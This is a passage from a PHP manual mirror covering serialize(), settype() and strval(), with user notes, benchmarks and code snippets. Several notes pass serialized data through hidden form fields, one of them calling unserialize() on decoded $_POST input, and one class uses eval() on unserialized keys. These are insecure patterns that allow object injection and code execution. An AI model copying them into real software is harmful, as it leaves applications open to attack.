    {
        if(($ret = $this->pack($array)) === false)
            return false;

        $hmacHash = hash_hmac($this->hmacAlgo, $ret, $this->privateKey, true);
        return $hmacHash.$ret;
    }

    public function hmacUnPack($binaryString)
    {
        if(strlen($binaryString) < $this->hmacLen)
            return false;

        $hmacHash = substr($binaryString, 0, $this->hmacLen);
        $binaryString = substr($binaryString, $this->hmacLen);
        $binaryStringHash = hash_hmac($this->hmacAlgo, $binaryString, $this->privateKey, true);

        // Timing attack safe string comparison
        if(hash_equals($hmacHash, $binaryStringHash) === false)
            return false;

        return $this->unPack($binaryString);
    }

    public function pack($array)
    {
        if(!is_array($array))
            return false;

        $cnt = count($array);
        $header = pack('C', $cnt);
        $bin = '';

        for($i=0;$i<$cnt;$i++) {
            if(($strLen = strlen($array[$i])) > 65535 || $strLen === 0)
                return false;

            $header .= pack('S', $strLen);
            $bin .= $array[$i];
        }

        return $header.$bin;
    }

    public function unPack($bin)
    {
        if(empty($bin))
            return false;

        $arr = array();
        $cnt = unpack('C', $bin);
        $cnt = $cnt[1];

        if(!isset($bin[$cnt * 4]))
            return false;

        $header = substr($bin, 1, $cnt * 4);
        $bin = substr($bin, ($cnt * 2)+1);
        $int = unpack('S'.$cnt, $header);

        for($i=1;$i<=$cnt;$i++) {
            $val = substr($bin, 0, $int[$i]);

            if($val === false)
                return false;

            $arr[] = $val;
            $bin = substr($bin, $int[$i]);
        }

        if($bin !== false)
            return false;

        return $arr;
    }
}
?>
MiChAeLoKGB 23-May-2015 05:28
I did some testing to see the speed differences between serialize and json_encode, and my results with 250 iterations are:

PHP serialized in 0.0651714730263 seconds average
JSON encoded in 0.0254955434799 seconds average
json_encode() was roughly 155.62% faster than serialize()
Test took 27.2039430141 seconds with 300 iretations.

PHP serialized in 0.0564563179016 seconds average
JSON encoded in 0.0249140485128 seconds average
json_encode() was roughly 126.60% faster than serialize()
Test took 24.4148340225 seconds with 300 iretations.

From all my tests it looks like json_encode is on average about 120% faster (sometimes it gets to about 85% and sometimes to 150%).

Here is the PHP code you can run on your server to try it out:

<?php

// fillArray function myde by Peter Bailey
function fillArray($depth, $max){
    static $seed;
    if (is_null($seed)){
        $seed = array('a', 2, 'c', 4, 'e', 6, 'g', 8, 'i', 10);
    }
    if ($depth < $max){
        $node = array();
        foreach ($seed as $key){
            $node[$key] = fillArray( $depth + 1, $max );
        }
        return $node;
    }
    return 'empty';
}

function testSpeed($testArray, $iterations = 100){

    $json_time = array();
    $serialize_time = array();
    $test_start = microtime(true);

    for ($x = 1; $x <= $iterations; $x++){
        $start = microtime(true);
        json_encode($testArray);
        $json_time[] = microtime(true) - $start;

        $start = microtime(true);
        serialize($testArray);
        $serialize_time[] = microtime(true) - $start;
    }

    $test_lenght = microtime(true) - $test_start;
    $json_average = array_sum($json_time) / count($json_time);
    $serialize_average = array_sum($serialize_time) / count($serialize_time);

    $result = "PHP serialized in ".$serialize_average." seconds average<br>";
    $result .= "JSON encoded in ".$json_average." seconds average<br>";

    if ($json_average < $serialize_average){
        $result .= "json_encode() was roughly ".number_format( ($serialize_average / $json_average - 1 ) * 100, 2 )."% faster than serialize()<br>";
    } else if ( $serializeTime < $jsonTime ){
        $result .= "serialize() was roughly ".number_format( ($json_average / $serialize_average - 1 ) * 100, 2 )."% faster than json_encode()<br>";
    } else {
        $result .= "No way!<br>";
    }

    $result .= "Test took ".$test_lenght." seconds with ".$iterations." iterations.";

    return $result;

}

// Change the number of iterations (250) to lower if you exceed your maximum execution time
echo testSpeed(fillArray(0, 5), 250);

?>
Anonymous 14-Apr-2015 01:57
For everyone facing the conversion nightmare another Anonymous described here in an older comment (and he took the words out of my mouth), this T-SQL script might be of great help: https://github.com/mjohnsonperl/tsqlphpunserialize/tree/master.

Please do not follow the path of evil by dumping serialized data into relational databases.
tuxedobob 04-Jun-2014 04:36
When using serialize() to convert, say, an array to a string to pass via HTML forms, you will likely run into issues with quoting. This is because serialize() puts values in double quotes. The simplest solution is to quote your HTML form value with single quotes rather than double quotes. (This *is* allowed, according to W3C specs.)

So, instead of:

<?php
$arr = serialize($some_array);
?>
<input type="hidden" name="array" value="$arr" />

you would want to use:

<?php
$arr = serialize($some_array);
?>
<input type="hidden" name="array" value='$arr' />
Nanhe Kumar 27-Dec-2013 05:57
Note : You cannot save the state of a static variable by serializing.
<?php
/*
 * student.class.php
 */
class Student {

    public $name;
    private $roll;
    protected $age;
    static $class;

    public function __construct() {
        $this->name = "Nanhe Kumar";
        $this->roll = 1;
        $this->age = 16;
        Student::$class = "10+2";
    }

}
?>
<?php
/**
 * serialize.php
 */
include_once("student.class.php");

//Serialize
$so = new Student();
$serialized = serialize($so);
file_put_contents("test.txt", $serialized);
echo $serialized; //O:7:"Student":3:{s:4:"name";s:11:"Nanhe Kumar";s:13:"Studentroll";i:1;s:6:"*age";i:16;}
?>
<?php
/**
 * unserialize.php
 */
include_once("student.class.php");
$content = file_get_contents("test.txt");
$unserialized = unserialize($content);
print_r($unserialized);//Student Object ( [name] => Nanhe Kumar [roll:Student:private] => 1 [age:protected] => 16 )
?>
frost at easycast dot ru 23-Sep-2013 10:56
Closures cannot be serialized:
<?php
$func = function () {echo 'hello!';};
$func(); // prints "hello!"

$result = serialize($func);  // Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'
?>
allan666 at gmail.com 07-Mar-2013 01:28
Oddly, if you serialize a class that was previously unserialized, the class of the variable changes to string... Example:

$R = unserialize($serialized_object);
$R->method(); // this is ok
$str = serialize($R);
echo(get_class($R));

this will output "string"!!!!! whereas if the first line was

$R = new my_class();

it would output "my_class"!

I don't know if that is a bug, but the manual is not clear about that! (somehow $R in serialize($R) is being passed by reference, since it changes class).
nh at ngin dot de 21-Jan-2013 09:59
Serializing floating point numbers leads to weird precision offset errors:

<?php

echo round(96.670000000000002, 2);
// 96.67

echo serialize(round(96.670000000000002, 2));
// d:96.670000000000002;

echo serialize(96.67);
// d:96.670000000000002;

?>

Not only is this wrong, but it adds a lot of unnecessary bulk to serialized data. Probably better to use json_encode() instead (which apparently is faster than serialize(), anyway).
Andrew B 05-Sep-2012 09:42
When you serialize an array the internal pointer will not be preserved. Apparently this is the expected behavior but was a bit of a gotcha moment for me. Copy and paste example below.

<?php
//Internal Pointer will be 2 once variables have been assigned.
$array = array();
$array[] = 1;
$array[] = 2;
$array[] = 3;

//Unset variables. Internal pointer will still be at 2.
unset($array[0]);
unset($array[1]);
unset($array[2]);

//Serialize
$serializeArray = serialize($array);

//Unserialize
$array = unserialize($serializeArray);

//Add a new element to the array
//If the internal pointer was preserved, the new array key should be 3.
//Instead the internal pointer has been reset, and the new array key is 0.
$array[] = 4;

//Expected Key - 3
//Actual Key - 0
echo "<pre>" , print_r($array, 1) , "</pre>";
?>
Anonymous 28-Feb-2012 07:44
Please! please! please! DO NOT serialize data and place it into your database. Serialize can be used that way, but that's missing the point of a relational database and the datatypes inherent in your database engine. Doing this makes data in your database non-portable, difficult to read, and can complicate queries. If you want your application to be portable to other languages, like let's say you find that you want to use Java for some portion of your app that it makes sense to use Java in, serialization will become a pain in the buttocks. You should always be able to query and modify data in the database without using a third party intermediary tool to manipulate data to be inserted.

I've encountered this too many times in my career, it makes for difficult to maintain code, code with portability issues, and data that is it more difficult to migrate to other RDMS systems, new schema, etc. It also has the added disadvantage of making it messy to search your database based on one of the fields that you've serialized.

That's not to say serialize() is useless. It's not... A good place to use it may be a cache file that contains the result of a data intensive operation, for instance. There are tons of others... Just don't abuse serialize because the next guy who comes along will have a maintenance or migration nightmare.
pgl at yoyo dot org 03-Feb-2011 09:13
Another suggestion for coping with binary data in serialize()d variables is just to base64_encode() those fields before serializing. It will increase the size of the variable, but not by too much.
travis at travishegner dot com 02-Mar-2010 12:37
If serializing objects to be stored into a postgresql database, the 'null byte' injected for private and protected members throws a wrench into the system. Even pg_escape_bytea() on the value, and storing the value as a binary type fails under certain circumstances.

For a dirty work around:
<?php

$serialized_object = serialize($my_object);
$safe_object = str_replace("\0", "~~NULL_BYTE~~", $serialized_object);

?>

this allows you to store the object in a readable text format as well. When reading the data back:

<?php

$serialized_object = str_replace("~~NULL_BYTE~~", "\0", $safe_object);
$my_object = unserialize($serialized_object);

?>

The only gotcha's with this method is if your object member names or values may somehow contain the odd "~~NULL_BYTE~~" string. If that is the case, then str_replace() to a string that you are guaranteed not to have any where else in the string that serialize() returns.
Also remember to define the class before calling unserialize().

If you are storing session data into a postgresql database, then this workaround is an absolute must, because the $data passed to the session's write function is already serialized.

Thanks,
Travis Hegner
Anonymous 21-Jan-2010 09:23
you should really use mysql_real_escape_string() for escaping (serialized) strings that got thrown into a query (visit php.net/mysql_real_escape_string for further information)
donotmail at me dot com 02-Sep-2009 11:16
NOTE: php's serialize does not properly serialize arrays with which a slice of the array is a reference to the array itself, observe:

<?php
$a = array();
$a[0] = "blah";
$a[1] =& $a;

$a[1][0] = "pleh"; // $a[0] === "pleh"

$b = unserialize(serialize($a));

// $b[0] == "pleh", $b[1][0] == "pleh"

$b[1][0] = "blah";
?>

now $b[1][0] == "blah", but $b[0] == "pleh"
after serializing and unserializing, slice 1 is no longer a reference to the array itself... I have found no way around this problem... even manually modifying the serialized string from
'a:2:{i:0;s:4:"pleh";i:1;a:2:{i:0;s:4:"pleh";i:1;R:3;}}'
to
'a:2:{i:0;s:4:"pleh";i:1;R:1;}'

to force the second slice to be a reference to the first element of the serialization (the array itself), it seemed to work at first glance, but then unreferences it when you alter it again, observe:

<?php
    $testser = 'a:2:{i:0;s:4:"pleh";i:1;R:1;}';

    $tmp = unserialize($testser);

    print_r($tmp);

    print "\n-----------------------\n";

    $tmp[1][0] = "blah";

    print_r($tmp);

?>

outputs:
Array
(
    [0] => pleh
    [1] => Array
 *RECURSION*
)

-----------------------
Array
(
    [0] => pleh
    [1] => Array
        (
            [0] => blah
            [1] => Array
                (
                    [0] => pleh
                    [1] => Array
 *RECURSION*
                )

        )

)
Alessandro Segala 17-Jul-2009 08:18
I needed to serialize an array to store it inside a database.
I was looking for a fast, simple way to do serialization, and I came out with 2 options: serialize() or json_encode().

I ran some benchmarks to see which is the faster, and, surprisingly, I found that serialize() is always between 46% and 96% SLOWER than json_encode().
So, if you don't need to serialize objects and have the json extension available, consider using it instead of serialize().
barbuj at NOSPAM dot yahoo dot com 14-Nov-2007 02:19
In my specific situation, I wanted to be able to pass some data from page to page, but without relying on a session variable. The answer I came up with was to serialize() the object in question, pass it on to the next page as a hidden form field, then unserialize() it. When ALL class variables are public, this worked fine. However, if there was at least one private/protected variable, the code no longer worked as expected ("Fatal error: Call to a member function display() on a non-object in page2.php on line 4")

As others have already mentioned, private/protected class variables will not behave nicely (private variables are prefixed by class_name + &#65533;, while protected variables are only prefixed by &#65533; - when looking at the page source using Firefox). Internet Explorer does NOT display the extra character between the class name and variable name, but the code still doesn't work as one would expect.

Suppose you have a simple class:

testclass.php
=============
<?php
class TestClass {
  var $i = 1;

  function display() {
    echo "i=" . $this->i;
  }
?>

page1.php
=========
<?php
  require_once 'testclass.php';
  $tc = new TestClass;
  $tc->display();
?>
<form method = "post" action = "page2.php">
<input type = "hidden" name = "str" value = "<?php echo htmlspecialchars( serialize( $tc ) ); ?>">
<input type = "submit">
</form>

page2.php
=========
<?php
  require_once 'testclass.php';
  $tc = unserialize( stripslashes( htmlspecialchars_decode( $_POST["str"] ) ) );
  $tc->display();
?>

The fix, suggested by evulish on #php/irc.dal.net, is to replace htmlspecialchars()/htmlspecialchars_decode() by base64_encode()/base64_decode. The code becomes:

page1.php
=========
<input type = "hidden" name = "str" value = "<?php echo base64_encode( serialize( $tc ) ); ?>">

page2.php
=========
<?php
  $tc = unserialize( base64_decode( $_POST["str"] ) );
?>

Hope this will help someone...
Jeex 06-Nov-2007 02:59
It may be worth noting that, depending on the size of the object you are serializing, the serialize function can take up a lot of memory.

If your script isn't working as expected, your serialize call may have pushed the memory usage over the limit set by memory_limit in php.ini.

More info on memory limits here: http://www.php.net/manual/en/ini.core.php
friday13 at ig dot com dot br 19-Jun-2007 07:15
I have problem to use serialize function with hidden form field and the resolution was use htmlentities.

Ex.:

<?

$lista = array( 'pera', 'ma?a', 'laranja' );

print "< input type='hidden' name='teste' value='htmlentities( serialize( $lista ) )'" >";

?>
Ates Goral 18-Jul-2006 11:59
Corrections/clarifications to  "Anatomy of a serialize()'ed value":

All strings appear inside quotes. This applies to string values, object class names and array key names. For example:

s:3:"foo"
O:7:"MyClass":1:{...
a:2:{s:3:"bar";i:42;...

Object property names and values are delimited by semi-colons, not colons. For example:

O:7:"MyClass":2:{s:3:"foo";i:10;s:3:"bar";i:20}

Double/float values are represented as:

d:0.23241446
egingell at sisna dot com 15-May-2006 05:12
<?
/*
Anatomy of a serialize()'ed value:

 String
 s:size:value;

 Integer
 i:value;

 Boolean
 b:value; (does not store "true" or "false", does store '1' or '0')

 Null
 N;

 Array
 a:size:{key definition;value definition;(repeated per element)}

 Object
 O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

 String values are always in double quotes
 Array keys are always integers or strings
    "null => 'value'" equates to 's:0:"";s:5:"value";',
    "true => 'value'" equates to 'i:1;s:5:"value";',
    "false => 'value'" equates to 'i:0;s:5:"value";',
    "array(whatever the contents) => 'value'" equates to an "illegal offset type" warning because you can't use an
    array as a key; however, if you use a variable containing an array as a key, it will equate to 's:5:"Array";s:5:"value";',
     and
    attempting to use an object as a key will result in the same behavior as using an array will.
*/
?>
MC_Gurk at gmx dot net 03-Jan-2006 07:44
If you are going to serialie an object which contains references to other objects you want to serialize some time later, these references will be lost when the object is unserialized.
The references can only be kept if all of your objects are serialized at once.
That means:

$a = new ClassA();
$b = new ClassB($a); //$b containes a reference to $a;

$s1=serialize($a);
$s2=serialize($b);

$a=unserialize($s1);
$b=unserialize($s2);

now b references to an object of ClassA which is not $a. $a is another object of Class A.

use this:
$buf[0]=$a;
$buf[1]=$b;
$s=serialize($buf);
$buf=unserialize($s);
$a=$buf[0];
$b=$buf[1];

all references are intact.
Alexander Podgorny 02-Dec-2005 11:47
Here is an example of a base class to implement object persistence using serialize and unserialize:

<?php
class Persistent
{
    var $filename;

    /**********************/
    function Persistent($filename)
    {
        $this->filename = $filename;
        if(!file_exists($this->filename)) $this->save();
    }
    /**********************/
    function save()
    {
        if($f = @fopen($this->filename,"w"))
        {
            if(@fwrite($f,serialize(get_object_vars($this))))
            {
                @fclose($f);
            }
            else die("Could not write to file ".$this->filename." at Persistant::save");
        }
        else die("Could not open file ".$this->filename." for writing, at Persistant::save");

    }
    /**********************/
    function open()
    {
        $vars = unserialize(file_get_contents($this->filename));
        foreach($vars as $key=>$val)
        {
            eval("$"."this->$key = $"."vars['"."$key'];");
        }
    }
    /**********************/
}

?>

When an object is extended from this one it can be easily saved and re-opened using it's own methods as follows:

<?

class foo extends Persistent
{
   var $counter;
   function inc()
   {
       $this->counter++;
   }
}

$fooObj = new $foo;
$foo->open();
print $foo->counter; // displays incrementing integer as page reloads
$foo->inc();
$foo->save();

?>
stephen dot adamson at smius dot com 01-Nov-2005 09:40
If you are serializing an object to store it in the database, using __sleep() can save you some space. The following code will not store empty (null) variables in the serialized string. For my purposes this saved a lot of space, since some of the member variables would not be given values.

function __sleep()
{
    $allVars = get_object_vars($this);
    $toReturn = array();
    foreach(array_keys($allVars) as $name)
    {
        if (isset($this->$name))
        {
            $toReturn[] = $name;
        }
    }
    return $toReturn;
}
wiart at yahoo dot com 16-Dec-2004 03:40
Warning: on 64 bits machines,  if you use a long string only composed of numbers as a key in an array and serialize/unserialize it, you can run into problems:

an example code:
$arr["20041001103319"] = 'test';
var_dump( $arr);
$arr_in_str = serialize($arr);
print "Now result is: $arr_in_str<BR />";
$final_arr = unserialize($arr_in_str);
print "The final unserialized array:<BR />";
var_dump($final_arr);

The result:
array(1) { [20041001103319]=>  string(4) "test" }
Now result is: a:1:{i:20041001103319;s:4:"test";}
The final unserialized array:
array(1) { [683700183]=> string(4) "test" }

As you can see, the original array :
$arr["20041001103319"] = "test"

after serialize/unserialize is:
$arr[683700183] = "test"

As you can see,  the key has changed ...

Apparently a problem of implicit casting + integer overflow (I posted a PHP bug report: http://bugs.php.net/bug.php?id=31117)

I tested with the latest 4.3.10 compiled on my laptop (32 bits, Mandrake 9.1) --> no such problem. But compiled on AMD 64 bits (Red Hat Taroon), the problem is present.

Hope this will help some of you to not loose almost a whole day of debugging ;-)
paul at moveNOtoSPAMiceland DOT com 18-Nov-2004 08:29
I was trying to submit a serialized array through a hidden form field using POST and was having a lot of trouble with the quotes. I couldn't figure out a way to escape the quotes in the string so that they'd show up right inside the form, so only the characters up to the first set of quotes were being sent.

My solution was to base64_encode() the string, put that in the hidden form field, and send that through the POST method. Then I decoded it (using base64_decode()) on the other end. This seemed to solve the problem.
hfuecks at phppatterns dot com 21-Apr-2004 08:20
Regarding serializing PHP data types to Javascript, following Ivans note below, theres an example at http://www.tekool.net/php/js_serializer/.

The basic serialization looks good although, in its current form, it works on the basis of generating Javascript source which a browser executes as a page loads. Using Javascripts eval() the same can be done with strings containing Javascript if youre working with something like XMLHTTPRequest
pli9 at itsa dot ucsf dot edu 31-Jan-2003 11:05
I have also written some code for importing serialized PHP data into PERL and then writing it back into PHP.  I think the similar library posted above is actually more robust for a few select cases, but mine is more compact and a little easier to follow.  I'd really like comments if anyone finds this useful or has improvements.  Please credit me if you use my code.

http://www.hcs.harvard.edu/~pli/code/serialPHP.pm
MarkRoedel at letu dot edu 21-Feb-2000 10:58
A call to serialize() appears to mess with the array's internal pointer.  If you're going to be walking through your array after serializing it, you'll want to make a call to reset() first.


设置变量的类型

  • ? serialize
  • strval ?
  • PHP Manual
  • Variable handling 函数
  • 设置变量的类型

settype

(PHP 4, PHP 5, PHP 7)

settype — 设置变量的类型

说明

settype ( mixed &$var , string $type ) : bool

将变量 var 的类型设置成 type。

参数

var

要转换的变量。

type

type 的可能值为：

  • "boolean" （或为"bool"，从 PHP 4.2.0 起）
  • "integer" （或为"int"，从 PHP 4.2.0 起）
  • "float" （只在 PHP 4.2.0 之后可以使用，对于旧版本中使用的"double"现已停用）
  • "string"
  • "array"
  • "object"
  • "null" （从 PHP 4.2.0 起）

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 settype() 示例

<?php
$foo = "5bar"; // string
$bar = true;   // boolean

settype($foo, "integer"); // $foo 现在是 5   (integer)
settype($bar, "string");  // $bar 现在是 "1" (string)
?>

注释

Note:

Maximum value for "int" is PHP_INT_MAX.

参见

  • gettype() - 获取变量的类型
  • 类型转换
  • 类型戏法

User Contributed Notes

Anonymous 04-Jan-2019 01:41
If you attempt to convert the special $this variable from an instance method (only in classes) :
* PHP will silently return TRUE and leave $this unchanged if the type was 'bool', 'array', 'object' or 'NULL'
* PHP will generate an E_NOTICE if the type was 'int', 'float' or 'double', and $this will not be casted
* PHP will throw a catchable fatal error when the type is 'string' and the class does not define the __toString() method
Unless the new variable type passed as the second argument is invalid, settype() will return TRUE. In all cases the object will remain unchanged.
<?php
    // This was tested with PHP 7.2
    class Foo {
        function test() {
            printf("%-20s %-20s %s\n", 'Type', 'Succeed?', 'Converted');

            // settype() should throw a fatal error, as $this cannot be re-assigned
            printf("%-20s %-20s %s\n", 'bool', settype($this, 'bool'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'int', settype($this, 'int'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'float', settype($this, 'float'), print_r($this));
            printf("%-20s %-20s %s\n", 'array', settype($this, 'array'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'object', settype($this, 'object'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'unknowntype', settype($this, 'unknowntype'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'NULL', settype($this, 'NULL'), print_r($this, TRUE));
            printf("%-20s %-20s %s\n", 'string', settype($this, 'string'), print_r($this, TRUE));
        }
    }
    $a = new Foo();
    $a->test();
?>
Here is the result :
Type                 Succeed?             Converted
bool                 1                    Foo Object
(
)

Notice: Object of class Foo could not be converted to int in C:\php\examples\oop-settype-this.php on line 9

int                  1                    Foo Object
(
)

Notice: Object of class Foo could not be converted to float in C:\php\examples\oop-settype-this.php on line 10

float                1                    Foo Object
(
)

array                1                    Foo Object
(
)

object               1                    Foo Object
(
)

Warning: settype(): Invalid type in C:\php\examples\oop-settype-this.php on line 14

unknowntype                               Foo Object
(
)

NULL                 1                    Foo Object
(
)

Catchable fatal error: Object of class Foo could not be converted to string in C:\php\examples\oop-settype-this.php on line 15

If the class Foo implements __toString() :
<?php
    class Foo {
        // ...
        function __toString() {
            return 'Foo object is awesome!';
        }
        // ...
    }
?>
So the first code snippet will not generate an E_RECOVERABLE_ERROR, but instead print the same string as for the other types, and not look at the one returned by the __toString() method.

Hope this helps !  :)
Skayo 26-Jul-2017 08:59
$foo = "1";
settype($foo, "bool");
var_dump($foo); // Outputs: bool(true)

$bar = "0";
settype($bar, "bool");
var_dump($bar); // Outputs: bool(false)
marjune 10-Nov-2016 05:31
any digit except 0 or -0 are considered true in boolean, and any string except '0' or '' are also considered true.

<?php

$foo = '0';
settype($foo, 'boolean');
var_dump($foo); // false

$foo = 0;
settype($foo, 'boolean');
var_dump($foo); // false
Special Notes 26-Feb-2012 12:00
Note that you can't use this to convert a string 'true' or 'false' to a boolean variable true or false as a string 'false' is a boolean true. The empty string would be false instead...

<?php
$var = "true";
settype($var, 'bool');
var_dump($var); // true

$var = "false";
settype($var, 'bool');
var_dump($var); // true as well!

$var = "";
settype($var, 'bool');
var_dump($var); // false
?>
Chris Sullins 18-Apr-2010 11:59
settype() has some really strange, potentially buggy behavior.

As noted by Michael Benedict, using settype() on a variable will initialize that variable.  What is stranger is that using settype() on an uninitialized variable that you are treating as an array or object will also initialize the variable.  So:

<?php
settype($foo->bar,"integer"); // stdClass Object ( [test] => 0 )
?>

This works for a chain of any length: $foo->bar['baz']->etc

Next we look at what happens if $foo is already set.

<?php
$foo = false;
settype($foo->bar,"integer"); // stdClass Object ( [test] => 0 )
?>

In and of itself, this wouldn't be problematic.  It might even make sense.  But in all other cases where $foo is defined, even if (boolean) $foo === false, it will throw an error unless $foo->bar is valid (i.e. $foo is an object already).

<?php
$foo = true;
settype($foo->bar,"integer"); // Notice: Trying to get property of non-object
?>
NWdev 17-Nov-2008 09:38
In trying to convert an array of strings to an array of ints,
I attempted to use settype with array_walk.

<?php
//$numArray is generated by another process
$numArray = array('13','14','33');

var_dump($numArray);

//my conversion function
function str_to_int($val){
  //remember: settype($x, 'int') returns boolean (1=success, 0=failure)
  //--> so return $x to return new value
    settype($val,'int');
    echo "<br />gettype = ".gettype($val)."<br />";
    return $val;
}

array_walk($numArray,'str_to_int');

var_dump($numArray);
?>

The var_dumps both return the following:
<?php
array(3) { [0]=> string(2) "13" [1]=> string(2) "14" [2]=> string(2) "33" }
?>

The gettype echo will show the value as an integer.

So it seems that settype($val,'int') makes the conversion,
but the function return value remains a string.
Since settype returns a boolean, using
<?php $val = settype($val, 'int'); ?>
is not a option.

I resolved my array value conversion using this instead:
<?php
$numArray =
      array_map(create_function('$value', 'return (int)$value;'),$numArray);
?>
Thanks to the posting here:
http://usrportage.de/archives/
808-Convert-an-array-of-strings-into-an-array-of-integers.html

Perhaps this will save someone else spinning wheels a bit.

Also thanks to robin at barafranca dot com for
pointing out the boolean return value of settype.
robin at barafranca dot com 05-Mar-2008 04:20
Just a quick note, as this caught me out very briefly:

settype() returns bool, not the typecasted variable - so:

$blah = settype($blah, "int"); // is wrong, changes $blah to 0 or 1
settype($blah, "int"); // is correct

Hope this helps someone else who makes a mistake.. ;)
ludvig dot ericson gmail.dot com 09-Apr-2006 08:36
To matt:
This function accepts a paremeter, which does not imply you using hardcoded stuff, instead you can let the user choose! \o/

As a part of a framework or something.

Plus, you can probably call this with call_user_func
matt at mattsoft dot net 06-Dec-2005 09:49
using (int) insted of the settype function works out much better for me. I have always used it. I personally don't see where settype would ever come in handy.
Michael Benedict 29-Oct-2005 10:55
note that settype() will initialize an undefined variable.  Therefore, if you want to preserve type and value, you should wrap the settype() call in a call to isset().

<?php
settype($foo, "integer");
echo("|$foo|");
?>

prints "|0|", NOT "||".

To get the latter, use:
<?php
if(isset($foo)) settype($foo, "integer");
echo("|$foo|");
?>
nospamplease at veganismus dot ch 22-Jul-2005 07:38
you must note that this function will not set the type permanently! the next time you set the value of that variable php will change its type as well.
reinier_deblois at hotmail dot com 13-Mar-2005 09:18
Instead of settype you could use:
<?php

$int=593;  // $int is a integer

$int.="";   // $int is now a string
memandeemail at gmail dot com 09-Dec-2004 05:17
/**
    * @return bool
    * @param array[byreference] $values
    * @desc Convert an array or any value to Escalar Object [not tested in large scale]
    */
    function setobject(&$values) {
        $values = (object) $values;
        foreach ($values as $tkey => $val) {
            if (is_array($val)) {
                setobject($val);
                $values->$tkey = $val;
            }
        }
        return (bool) $values;
    }
sdibb at myway dot com 06-Sep-2003 10:03
Using settype is not the best way to convert a string into an integer, since it will strip the string wherever the first non-numeric character begins.  The function intval($string) does the same thing.

If you're looking for a security check, or to strip non-numeric characters (such as cleaning up phone numbers or ZIP codes),  try this instead:

<?
     $number=ereg_replace("[^0-9]","",$number);
?>
ns at canada dot com 05-May-2000 04:38
This settype() behaviour seems consistent to me. Quoting two sections from the manual:

"When casting from a scalar or a string variable to an array, the variable will become the first element of the array: "
<pre>
2 $var = 'ciao';
3 $arr = (array) $var;
4 echo $arr[0];  // outputs 'ciao'
</pre>

And if (like your code above) you do a settype on an empty variable, you'll end up with a one element array with an empty (not unset!) first element. So appeanding to it will start appending at index 1. As for why reset() doesn't do anything:

"When you assign a value to an array variable using empty brackets, the value will be added onto the end of the array."

It doesn't matter where the array counter is; values are added at the end, not at the counter.


获取变量的字符串值

  • ? settype
  • unserialize ?
  • PHP Manual
  • Variable handling 函数
  • 获取变量的字符串值

strval

(PHP 4, PHP 5, PHP 7)

strval — 获取变量的字符串值

描述

strval ( mixed $var ) : string

返回 var 的 string 值。 参见 string 文档获取更多关于字符串转换的信息。

var 可以是任何标量类型。不能将 strval() 用于数组或对象。

参见 floatval()、intval()、settype() 和类型戏法。

User Contributed Notes

Mark Clements 02-Jun-2016 01:17
Some notes about how this function has changed over time, with regards the following statement:

> You cannot use strval() on arrays or on objects that
> do not implement the __toString() method.

== Arrays ==

In PHP 5.3 and below, strval(array(1, 2, 3)) would return the string "Array" without any sort of error occurring.

From 5.4 and above, the return value is unchanged but you will now get a notice-level error: "Array to string conversion".

== Objects ==

For objects that do not implement __toString(), the behaviour has varied:

PHP 4: "Object"
PHP 5 < 5.2: "Object id #1" (number obviously varies)
PHP >= 5.2: Catchable fatal error:  Object of class X could not be converted to string
Hayley Watson 21-Aug-2007 08:53
As of PHP 5.2, strval() will return the string value of an object, calling its __toString() method to determine what that value is.
NyctoFixer at gmail dot com 11-Jun-2007 12:19
As of PHP 5.1.4 (I have not tested it in later versions), the strval function does not attempt to invoke the __toString method when it encounters an object. This simple wrapper function will handle this circumstance for you:

<?

/**
 * Returns the string value of a variable
 *
 * This differs from strval in that it invokes __toString if an object is given
 * and the object has that method
 */
function stringVal ($value)
{
    // We use get_class_methods instead of method_exists to ensure that __toString is a public method
    if (is_object($value) && in_array("__toString", get_class_methods($value)))
        return strval($value->__toString());
    else
        return strval($value);
}

?>
kendsnyder+phpnet at gmail dot com 01-Jun-2007 10:08
The only way to convert a large float to a string is to use printf('%0.0f',$float); instead of strval($float); (php 5.1.4).

// strval() will lose digits around pow(2,45);
echo pow(2,50); // 1.1258999068426E+015
echo (string)pow(2,50); // 1.1258999068426E+015
echo strval(pow(2,50)); // 1.1258999068426E+015

// full conversion
printf('%0.0f',pow(2,50)); // 112589906846624
echo sprintf('%0.0f',pow(2,50)); // 112589906846624
portos_ze_retour at hotmail dot fr 10-Mar-2006 08:15
In complement to Tom Nicholson's contribution, here is the french version (actually it's possible to change the language, but you should check the syntax ;) )

function int_to_words($x) {
   global $nwords;

   if(!is_numeric($x))
     $w = '#';
   else if(fmod($x, 1) != 0)
     $w = '#';
   else {
     if($x < 0) {
         $w = $nwords['minus'].' ';
         $x = -$x;
     } else
         $w = '';
     // ... now $x is a non-negative integer.

     if($x < 21)  // 0 to 20
         $w .= $nwords[$x];
     else if($x < 100) {  // 21 to 99
         $w .= $nwords[10 * floor($x/10)];
         $r = fmod($x, 10);
         if($r > 0)
           $w .= '-'. $nwords[$r];
     } else if($x < 1000) {  // 100 to 999
         $w .= $nwords[floor($x/100)] .' '.$nwords['hundred'];
         $r = fmod($x, 100);
         if($r > 0)
           $w .= ' '.$nwords['separator'].' '. int_to_words($r);
     } else if($x < 1000000) {  // 1000 to 999999
         $w .= int_to_words(floor($x/1000)) .' '.$nwords['thousand'];
         $r = fmod($x, 1000);
         if($r > 0) {
           $w .= ' ';
           if($r < 100)
               $w .= $nwords['separator'].' ';
           $w .= int_to_words($r);

         }
     } else {    //  millions
         $w .= int_to_words(floor($x/1000000)) .' '.$nwords['million'];
         $r = fmod($x, 1000000);
         if($r > 0) {
           $w .= ' ';
           if($r < 100)
               $word .= $nwords['separator'].' ';
           $w .= int_to_words($r);
         }
     }
   }
   return $w;
}

 // Usage in English
$nwords = array( "zero", "one", "two", "three", "four", "five", "six", "seven",
                   "eight", "nine", "ten", "eleven", "twelve", "thirteen",
                   "fourteen", "fifteen", "sixteen", "seventeen", "eighteen",
                   "nineteen", "twenty", 30 => "thirty", 40 => "forty",
                   50 => "fifty", 60 => "sixty", 70 => "seventy", 80 => "eighty",
                   90 => "ninety" , "hundred" => "hundred", "thousand"=> "thousand", "million"=>"million",
                   "separator"=>"and", "minus"=>"minus");

